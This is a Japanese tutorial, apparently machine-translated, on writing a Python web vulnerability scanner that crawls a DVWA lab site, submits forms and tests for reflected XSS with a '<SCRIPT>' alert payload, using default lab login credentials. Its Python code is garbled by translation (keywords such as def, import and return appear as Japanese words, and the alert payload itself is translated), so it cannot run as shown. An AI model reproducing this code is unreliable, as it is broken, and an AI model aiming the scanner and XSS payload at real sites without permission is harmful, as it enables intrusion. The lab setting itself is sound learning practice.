VULNERABILITY_SCANNER
Webアプリケーションの脆弱性を発見するには?
1.あらゆる可能なページに移動します。
Webアプリケーション(URL +フォーム)にデータを送信する方法2.探します。
3.脆弱性を発見するためのペイロードを送信します。
4.ウェブサイトのチェックするために応答を分析することは脆弱です。
- >一般的な手順は関係なく、脆弱性と同じです。
metasploitable VMをログインし、高いからメディアにDVWAのセキュリティを変更します。(中は/ var dvwaPage.inc.php / WWW / dvwa / dvwa /含まれます)
反射クロスサイトスクリプティング(XSS)の上に次のスクリプトを送信
<SCRIPT>警告( 'テスト')</ SCRIPT>
あなたは、ソースコード内のスクリプトを見つけることができます。
Scannerクラスでtest_xss_in_form - 新機能を追加します。
#!は/ usr / binに/ ENVパイソン インポート要求が インポート再 から BS4の輸入BeautifulSoup から urllib.parse 輸入urljoin クラスのスキャナ: デフ __init__ (自己、URL、ignore_links): self.session = requests.Session() self.target_url = URL self.target_links = [] self.links_to_ignore = ignore_links デフextract_links_from(自己、URL): 応答 = self.session.get(URL) 戻り re.findall(' (?: "?)(*)"のhref = '、response.content.decode(エラー= ' 無視' )) デフクロール(自己、URL = なし): もし URL == なし: URL = self.target_url href_links = self.extract_links_from(URL) のためのリンクでhref_links: リンク = urljoin(URL、リンク) もし 「#」 でリンク: リンク = link.split(" #" )[0] もし self.target_url でリンクとリンクしない で self.target_links とリンクない でself.links_to_ignore: self.target_links.append(リンク) 印刷(リンク) self.crawl(リンク) デフextract_forms(自己、URL): 応答 = self.session.get(URL) parsed_html = BeautifulSoup(response.content.decode()、機能= " lxmlの" ) を返す parsed_html.findAll(" フォーム" ) デフsubmit_form(自己、フォーム、値、URL): アクション = form.get(" アクション" ) POST_URL = urljoin(URL、アクション) 方法 = form.get(" 方法" ) inputs_list = form.findAll(" 入力" ) post_data = {} のための入力でinputs_list。 input_name = input.get(" 名前" ) INPUT_TYPE = input.get(" タイプ" ) input_value = input.get(" 値" ) であれば INPUT_TYPE == " テキスト" : input_value = 値 post_data [input_name] = input_value かの方法== " ポスト" : リターン requests.post(POST_URL、データ= post_data) 戻り self.session.get(POST_URL、paramsは= post_data) デフrun_scanner(自己): 用のリンクでself.target_links: フォーム = self.extract_forms(リンク) のための形式でフォーム: 印刷(「に[+]テストフォーム」 + リンク) もし " = " で:リンク プリント(" [+]試験" + リンク) デフtest_xss_in_form(自己、フォーム、URL): xss_test_script = " <SCRIPT>警告( 'テスト')</ SCRIPT> " レスポンス = self.submit_form(フォーム、xss_test_script、URL) 場合 xss_test_script でresponse.content.decode(): 返す真
脆弱性スキャナのコードを変更し、それをテストします。
#!は/ usr / binに/ ENVパイソン 輸入スキャナ target_url = " http://10.0.0.45/dvwa/ " links_to_ignore = " http://10.0.0.45/dvwa/logout.php " data_dict = { " ユーザ名":" 管理者"、" パスワード":" パスワード"、" ログイン":" 提出" } vuln_scanner = scanner.Scanner(target_url、links_to_ignore) vuln_scanner.session.post(" http://10.0.0.45/dvwa/login.php "、データ= data_dict) #1 vuln_scanner.crawl() フォーム= vuln_scanner.extract_forms(" http://10.0.0.45/dvwa/vulnerabilities/xss_r/ " ) プリント(フォーム) 応答 = vuln_scanner.test_xss_in_form(フォーム[0]、" http://10.0.0.45/dvwa/vulnerabilities/xss_r/ " ) プリント(応答)
なるほど!私たちは、カスタマイズされた脆弱性を見つけます。